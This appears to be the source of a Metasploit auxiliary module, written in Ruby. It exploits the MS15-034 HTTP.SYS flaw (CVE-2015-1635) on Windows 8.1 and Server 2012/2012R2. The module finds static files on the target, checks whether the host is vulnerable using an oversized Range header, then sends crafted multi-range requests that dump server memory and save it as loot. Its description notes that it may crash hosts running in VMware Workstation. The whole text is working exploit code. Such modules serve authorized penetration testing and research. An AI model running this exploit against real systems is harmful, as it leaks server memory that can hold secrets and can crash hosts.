## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure', 'Description' => %q{ This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2. Note that if the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well. }, 'Author' => [ 'Rich Whitcroft ', # Msf module 'sinn3r', # Some more Metasploit stuff 'Sunny Neo ' #Added VHOST option ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-1635'], ['MSB', 'MS15-034'], ['URL', 'https://pastebin.com/ypURDPc4'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'], ['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'], ['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'], ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] ] )) register_options([ OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']), OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ]) ]) end def potential_static_files_uris uri = normalize_uri(target_uri.path) return [uri] unless uri[-1, 1] == '/' uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"] res = send_request_raw('uri' => uri) return uris unless res site_uri = URI.parse(full_uri) page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) page.xpath('//link|//script|//style|//img').each do |tag| %w(href src).each do |attribute| attr_value = tag[attribute] next unless attr_value && !attr_value.empty? uri = site_uri.merge(URI::DEFAULT_PARSER.escape(attr_value.strip)) next unless uri.host == vhost || uri.host == rhost uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file end end uris.uniq end def check_host(ip) upper_range = 0xFFFFFFFFFFFFFFFF potential_static_files_uris.each do |potential_uri| uri = normalize_uri(potential_uri) res = send_request_raw( 'uri' => uri, 'method' => 'GET', 'headers' => { 'Range' => "bytes=0-#{upper_range}" } ) if res && res.body.include?('Requested Range Not Satisfiable') vmessage = "#{peer} - Checking #{uri} [#{res.code}]" vprint_status("#{vmessage} - Vulnerable") # Save the file that we want to use for the information leak target_uri.path = uri return Exploit::CheckCode::Vulnerable elsif res && res.body.include?('The request has an invalid header name') return Exploit::CheckCode::Safe end end Exploit::CheckCode::Unknown end def dump(data) # clear out the returned resource if datastore['SUPPRESS_REQUEST'] dump_start = data.index('HTTP/1.1 200 OK') if dump_start data[0..dump_start-1] = '' else print_error("Memory dump start position not found, dumping all data instead") end end print_line print_good("Memory contents:") print_line(Rex::Text.to_hex_dump(data)) end # Needed to allow the vulnerable uri to be shared between the #check and #dos def target_uri @target_uri ||= super end def get_file_size @file_size ||= lambda { file_size = -1 uri = normalize_uri(target_uri.path) res = send_request_raw('uri' => uri) unless res vprint_error("Connection timed out") return file_size end if res.code == 404 vprint_error("You got a 404. URI must be a valid resource.") return file_size end file_size = res.headers['Content-Length'].to_i vprint_status("File length: #{file_size} bytes") return file_size }.call end def calc_ranges(content_length) ranges = "bytes=3-18446744073709551615" range_step = 100 for range_start in (1..content_length).step(range_step) do range_end = range_start + range_step - 1 range_end = content_length if range_end > content_length ranges << ",#{range_start}-#{range_end}" end ranges end def run_host(ip) begin vuln_status = check_host(ip) case vuln_status when Exploit::CheckCode::Safe print_error('The target is not exploitable.') return when Exploit::CheckCode::Unknown print_error('Cannot reliably check exploitability! Observe the traffic with HTTPTrace turned on and try to debug.') return when Exploit::CheckCode::Vulnerable print_good('The target is vulnerable.') else print_error('An unknown status code was returned from check_host!') return end content_length = get_file_size ranges = calc_ranges(content_length) uri = normalize_uri(target_uri.path) cli = Rex::Proto::Http::Client.new( ip, rport, {}, datastore['SSL'], datastore['SSLVersion'], nil, datastore['USERNAME'], datastore['PASSWORD'] ) cli.connect req = cli.request_raw( 'uri' => target_uri.path, 'method' => 'GET', 'vhost' => "#{datastore['VHOST']}", 'headers' => { 'Range' => ranges } ) cli.send_request(req) print_good("Stand by...") resp = cli.read_response if resp dump(resp.to_s) loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump') print_good("Memory dump saved to #{loot_path}") else print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect") return rescue ::Timeout::Error, ::Errno::EPIPE print_error("Timeout receiving from socket") return ensure cli.close if cli end end end